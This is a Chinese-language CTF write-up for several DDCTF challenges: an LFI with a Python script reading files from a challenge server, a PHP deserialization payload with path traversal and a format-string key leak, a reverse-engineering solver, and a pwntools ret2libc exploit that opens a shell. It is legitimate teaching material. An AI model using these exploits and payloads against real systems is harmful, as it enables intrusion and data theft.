Web
100pt_滴~
首先很明显是一个本地文件包含漏洞(LFI),于是尝试读取index.php
文件,对读取结果base64
解码
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace(" /[^a-zA-Z0-9.]+/ ","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
发现逻辑是将传入的jpg
参数进行两次base64
解码后将结果按十六进制转为字符串,紧接着将字符串经过处理一(匹配所有非a-z、A-Z、0-9、.
的字符并将其替换为空)和处理二(检测”config
“并将其替换为”!
“),于是防止了跨目录文件读取。
访问提示的博客,在他写的另一篇博文中。。。我们可以发现关键文件practice.txt
,于是访问该文件(http://117.51.150.246/practice.txt.swp
),可以获取另一个关键文件f1ag!ddctf.php
于是可以利用LFI
漏洞读取
import base64
import binascii
import requests
file_name="f1agconfigddctf.php"
result=requests.get('http://117.51.150.246/index.php',params={'jpg':base64.b64encode(base64.b64encode(binascii.b2a_hex(file_name)))})
print(result.text)
base64
解码后,内容如下:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
分析程序逻辑,显然,程序尝试读取名为hello
的文件,但是利用LFI
漏洞可发现名为hello
的文件不存在,于是可得payload
http://117.51.150.246/f1ag!ddctf.php?uid=
访问可得flag
130pt_WEB 签到题
首先访问发现
此时访问其他路径均显示需要登陆
于是抓包,发现网站会在访问/index.php
后,访问/app/Auth.php
并发现关键字段didictf_username
,尝试补充为admin
发现成功,于是访问/app/fL2XID2i0Cdh.php
发现可以拿到网站关键文件源码
分析发现Application.php
中的析构函数__destruct
可以读取文件
又发现Session.php
中声明了Session
对象,且Application
类是Session
类的父类,因此在Session.php
的请求发送完成会调用父类的析构函数销毁对象
又发现Session.php
中存在反序列化漏洞
因此我们可以构造反序列化执行Application
实例化并读取flag
,又发现get_key函数中提示了flag文件位置
于是可构造payload
为O:11:"Application":1:{s:4:"path";s:24:"$path";}
但是发现path
变量有长度限制且有危险字符过滤
于是可构造payload
为O:11:"Application":1:{s:4:"path";s:24:".../.././config/flag.txt";}
此时又发现存在MD5
验证
逻辑是将eancrykey
与session
拼接后取MD5
值,接下来发现
这里显然存在格式化字符串漏洞,当我们以POST
方式传入nickname=%s
时,会泄露eancrykey
的值
那么我们拼接payload
后取MD5
值
对payload
URL
转码后拼接MD5
值,传入
得到flag
Reverse
100pt_Windows Reverse1
查壳,发现有UPX 3.09
的压缩壳
于是使用UPX 3.09
解压程序
DDCTF 部分WriteUP
使用IDA分析程序,发现程序存在反调试
于是静态分析,发现逻辑相对简单,程序会将用户的输入在sub_401000
函数中进行处理,并要求处理后结果等于DDCTF{reverseME}
那么分析sub_401000
函数,发现程序会将用户输入的逐位作为索引,返回索引到的byte_402FF8
中的字符
于是我们查看byte_402FF8
的内存区域
发现该区域无值,但是发现在后面存在字典字符串
于是考虑使用越界读,即可获取flag,exp如下
#include<bits/stdc++.h>
using namespace std;
string flag="DDCTF{reverseME}";
string dic="\x7E\x7D\x7C\x7B\x7A\x79\x78\x77\x76\x75\x74\x73\x72\x71\x70\x6F\x6E\x6D\x6C\x6B\x6A\x69\x68\x67\x66\x65\x64\x63\x62\x61\x60\x5F\x5E\x5D\x5C\x5B\x5A\x59\x58\x57\x56\x55\x54\x53\x52\x51\x50\x4F\x4E\x4D\x4C\x4B\x4A\x49\x48\x47\x46\x45\x44\x43\x42\x41\x40\x3F\x3E\x3D\x3C\x3B\x3A\x39\x38\x37\x36\x35\x34\x33\x32\x31\x30\x2F\x2E\x2D\x2C\x2B\x2A\x29\x28\x27\x26\x25\x24\x23\x22\x21\x20";
int main(){
for(int i=0;i<flag.length();i++){
for(int j=0;j<dic.length();j++){
if(dic[j]==flag[i]){
cout<<(char)(j+32);
}
}
}
return 0;
}
MISC
160pt_[PWN] strike
检查程序,32位仅开启NX保护的程序
分析程序主逻辑,发现输入长度可以使用-1
绕过
于是初步思路是利用栈溢出劫持EIP
到printf
,然后泄露libc
基址,之后ret2libc
即可,但是在调试过程中发现该思路不可行,程序会在中途退出
然后发现在获取name
时,我们输入的name
被输出后后面会跟随一个地址
并且发现随着我们输入的name
的变化,泄露的地址不同,于是测试发现当输入长度为37时,可以刚好泄露栈地址与libc基址,然后再控制EIP返回到栈上执行payload即可。
exp如下:
from pwn import *
import sys
context.log_level='debug'
xpwn=ELF("./xpwn")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
libc=ELF("./libc.so.6")
else:
sh = process("./xpwn")
libc=xpwn.libc
sh.recvuntil("Enter username: ")
sh.send("a"*37)
thing = sh.recv()
stack_addr = u32(thing[46:46+4])
libc_base_addr = u32(thing[46+4:46+4+4]) - libc.symbols["setbuf"] - 21
system_addr = libc_base_addr+libc.symbols["system"]
binsh_addr = libc_base_addr+libc.search("/bin/sh").next()
log.success("we get stack addr "+str(hex(stack_addr)))
log.success("we get libc base addr "+str(hex(libc_base_addr)))
log.success("we get system addr "+str(hex(system_addr)))
payload='A'*(0x4c+4-8-4)+p32(stack_addr)+p32(system_addr)*2+p32(binsh_addr)+p32(system_addr)
sh.recvuntil("Please set the length of password: ")
sh.sendline("-1")
sh.recvuntil("Enter password(lenth 4294967295): ")
sh.send(payload)
sh.interactive()
200pt_Wireshark
分析流量包并过滤http
流量,发现有两个PNG
流量
利用“导出分组字节流”导出两张图片,其中一张感觉十分违和
于是怀疑该图片高度存在问题,把高度改为与宽相等
可以发现key
于是尝试使用题目中给出的网址解密另一张图片
可发现解密成功
将44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D
进行十六进制转字符串可得flag